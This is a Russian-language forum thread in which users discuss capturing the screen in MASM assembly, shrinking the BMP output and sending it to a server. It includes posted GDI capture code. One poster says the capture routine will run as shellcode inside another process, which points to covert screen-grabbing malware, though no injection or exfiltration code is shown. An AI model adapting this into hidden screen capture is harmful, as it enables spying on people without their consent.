Есть программая которая делает скрины и сохраняет в файл у клиента. (bmp) Задача - сжимать скрины и передать по сети серваку. Я пока не знаю по какому пути пойти. Вот идеи: 1) перехватить функцию GetDIBits и налету как-то испортить качество передаваемых данных, чтоб прога уже сохранила скрин в сжатом виде. 2) взять файл скрина, который весит от 1 до 3 мб, сжимать через какой-нить алгоритм, тпа lzw, zip и т.д., и отправить серву. 3) взять файл скрина, испортить качество и отправить серву. 4) делать всё как на первом пукнте, токо в файл не сохранять, сразу отправить серверу. (этот способ мне особенно подуше) Второй метод мне не нравится, потому что потом на серве для просмотра скринов придется юзать декомпрессатор, это не удобно. Что посоветуйте? И где можно нарыть схожие исходники по ухудщению качества изображения bmp файлов ? Почитал структура bmp в Википедии, ничего полезного для себя не вынес.
неохота както даже снова писать. фриимаж. английскими буквами переписать это слово можете? суете ему бмп в памяти, говорите что и он вам конвертит в 10ток форматов по выбору. Есть вырезки из него в сети. Есть другие либы жпг, гиф - так вообще простой и маленький. Тут на форуме обсуждалось, на сайте либы лежат. А бмп - громоздкий формат. Даже за7зипуйте его и жпг все равно меньше будет.
Кста, если на экране окна с кнопками, то loseless .png будет меньше .jpg. Ну а если разговор идёт про что-то VNC-обозное, то надо посылать изменения между скринами, но это на много сложнее.
Flasher Можно воспользоваться тем, что большинство кадров будут похожи и заюзать дельта кодирование, поверх него - какой-нибудь стандартный алгоритм
Dian, кадры не одинаковые.. K10, не хорошо тащить за собой dll :P _basmp_, не хочу юзать левые либы.. В общем я решил сам сфотать экран и отсылать. Фотаю вот так: Код (Text): .data sbuffer dd 0 slen dd 0 .code CapScreen proc uses edi esi ebx local hdc:HDC local memdc:HDC local hBitmap:dword local dwWidth:dword local dwHeight:dword invoke GetDC,0 mov hdc,eax invoke CreateCompatibleDC,hdc mov memdc,eax invoke GetDeviceCaps,hdc,HORZRES mov dwWidth,eax invoke GetDeviceCaps,hdc,VERTRES mov dwHeight,eax mov eax,dwWidth mov ecx,dwHeight mul ecx mov ecx,16 mul ecx shr eax,3 add eax,sizeof BITMAPFILEHEADER add eax,sizeof BITMAPINFOHEADER mov slen,eax invoke GlobalAlloc,40h,eax mov sbuffer,eax mov edi,sbuffer mov (BITMAPFILEHEADER ptr [edi]).bfType,4D42h mov eax,slen mov (BITMAPFILEHEADER ptr [edi]).bfSize,eax mov (BITMAPFILEHEADER ptr [edi]).bfOffBits,sizeof BITMAPFILEHEADER + sizeof BITMAPINFOHEADER add edi,sizeof BITMAPFILEHEADER mov (BITMAPINFOHEADER ptr [edi]).biSize,sizeof BITMAPINFOHEADER push dwWidth pop (BITMAPINFOHEADER ptr [edi]).biWidth push dwHeight pop (BITMAPINFOHEADER ptr [edi]).biHeight mov (BITMAPINFOHEADER ptr [edi]).biPlanes,1 mov (BITMAPINFOHEADER ptr [edi]).biBitCount,16 mov (BITMAPINFOHEADER ptr [edi]).biCompression,BI_RGB invoke CreateCompatibleBitmap,hdc,dwWidth,dwHeight mov hBitmap,eax invoke SelectObject,memdc,hBitmap invoke BitBlt,memdc,0,0,dwWidth,dwHeight,hdc,0,0,SRCCOPY mov ecx,edi add edi,sizeof BITMAPINFOHEADER invoke GetDIBits,memdc,hBitmap,0,dwHeight,edi,ecx,0 invoke DeleteObject,hBitmap invoke DeleteDC,memdc invoke DeleteDC,hdc ret CapScreen endp szFileName db "screen.bmp",0 start proc invoke DeleteFileA,offset szFileName invoke _lcreat,offset szFileName,0 mov esi,eax call CapScreen invoke _lwrite,esi,sbuffer,slen invoke _lclose,esi invoke GlobalFree,sbuffer invoke ExitProcess,0 start endp end start Подскажите плиз как сделать разрешение любого скрина на 720x576, плюс еще чуточку испортить качество, думаю если будет весить не больше 200кб, вполне приемлимо. Спасибо.
Вроде API'шная ф-ия есть. Или сам напиши (да и в нете полно кода). Простые способы: 1) уменьшить разрешение битмапа 2) 32bit -> 16bit (или вовсе -> 8bit , правда палитру придётся исчо юзать) Посложнее: 1) прилинковать к проекту исходники JPEG или GIF Юзай JPEG и будет тебе счастье.
Flasher как сделать разрешение любого скрина на 720x576 У тебя два dc (экран и compatible dc), второй сразу делай размером 720x576, при копировании из первого во второй вместо BitBlt используй StretchBlt.
q_q, сделал.. 810кб начал весить.. Код (Text): .data sbuffer dd 0 slen dd 0 .code CapScreen proc uses edi esi ebx local hdc:HDC local memdc:HDC local hBitmap:dword local dwWidth:dword local dwHeight:dword mov eax,720 mov ecx,576 mul ecx mov ecx,16 mul ecx shr eax,3 add eax,sizeof BITMAPFILEHEADER add eax,sizeof BITMAPINFOHEADER mov slen,eax invoke GlobalAlloc,40h,eax mov sbuffer,eax mov edi,sbuffer mov (BITMAPFILEHEADER ptr [edi]).bfType,4D42h mov eax,slen mov (BITMAPFILEHEADER ptr [edi]).bfSize,eax mov (BITMAPFILEHEADER ptr [edi]).bfOffBits,sizeof BITMAPFILEHEADER + sizeof BITMAPINFOHEADER add edi,sizeof BITMAPFILEHEADER mov (BITMAPINFOHEADER ptr [edi]).biSize,sizeof BITMAPINFOHEADER mov (BITMAPINFOHEADER ptr [edi]).biWidth,720 mov (BITMAPINFOHEADER ptr [edi]).biHeight,576 mov (BITMAPINFOHEADER ptr [edi]).biPlanes,1 mov (BITMAPINFOHEADER ptr [edi]).biBitCount,16 mov (BITMAPINFOHEADER ptr [edi]).biCompression,BI_RGB invoke GetDC,0 mov hdc,eax invoke CreateCompatibleDC,hdc mov memdc,eax invoke CreateCompatibleBitmap,hdc,720,576 mov hBitmap,eax invoke SelectObject,memdc,hBitmap invoke GetDeviceCaps,hdc,HORZRES mov dwWidth,eax invoke GetDeviceCaps,hdc,VERTRES mov dwHeight,eax invoke StretchBlt,memdc,0,0,720,576,hdc,0,0,dwWidth,dwHeight,SRCCOPY mov ecx,edi add edi,sizeof BITMAPINFOHEADER invoke GetDIBits,memdc,hBitmap,0,576,edi,ecx,0 invoke DeleteObject,hBitmap invoke DeleteDC,memdc invoke DeleteDC,hdc ret CapScreen endp szFileName db "screen.bmp",0 start proc invoke DeleteFileA,offset szFileName invoke _lcreat,offset szFileName,0 mov esi,eax call CapScreen invoke _lwrite,esi,sbuffer,slen invoke _lclose,esi invoke GlobalFree,sbuffer invoke ExitProcess,0 start endp end start Могет еще что можно сделать ? Например... могет юзать еще и вместо GetDIBits -> StretchDIBits Или это уже совсем не то ?
Flasher, тебе ж нескольно раз сказали - перекодируй bitmap в нормальный формат. Например: http://www.libpng.org/pub/png/libpng.html
s0larian, та это процедура скрина у мя будет как shellcode в памяти другого процесса, память не резиновая чтоб туда пихать еще и либы перекодировщиков.. Внедрял бы я свою dll, другое дело, а так.., мне подходят лишь подручные средства gdi.
Не помню чие творчество. Когото с форума. Автор! Отзовись! Имею ли я право твое творение выкладывать?
Flasher а сжимать посылаемые данные аплибом не хочешь ? а потом разжимать ? _basmp_ что это за исходник ? ... я когда то тему заводил , искал компрессор и декопрессор джпег.
У меня тоже была проблемка как делать скрины экрана и передавать их по сети. Bmp по весу большой получался, тем более мне надо скрины ловить не с одной машины... Решил заюзать lzw алгоритм. Очень хороший результат получил для сжатия bmp формата. Так что вариант 2.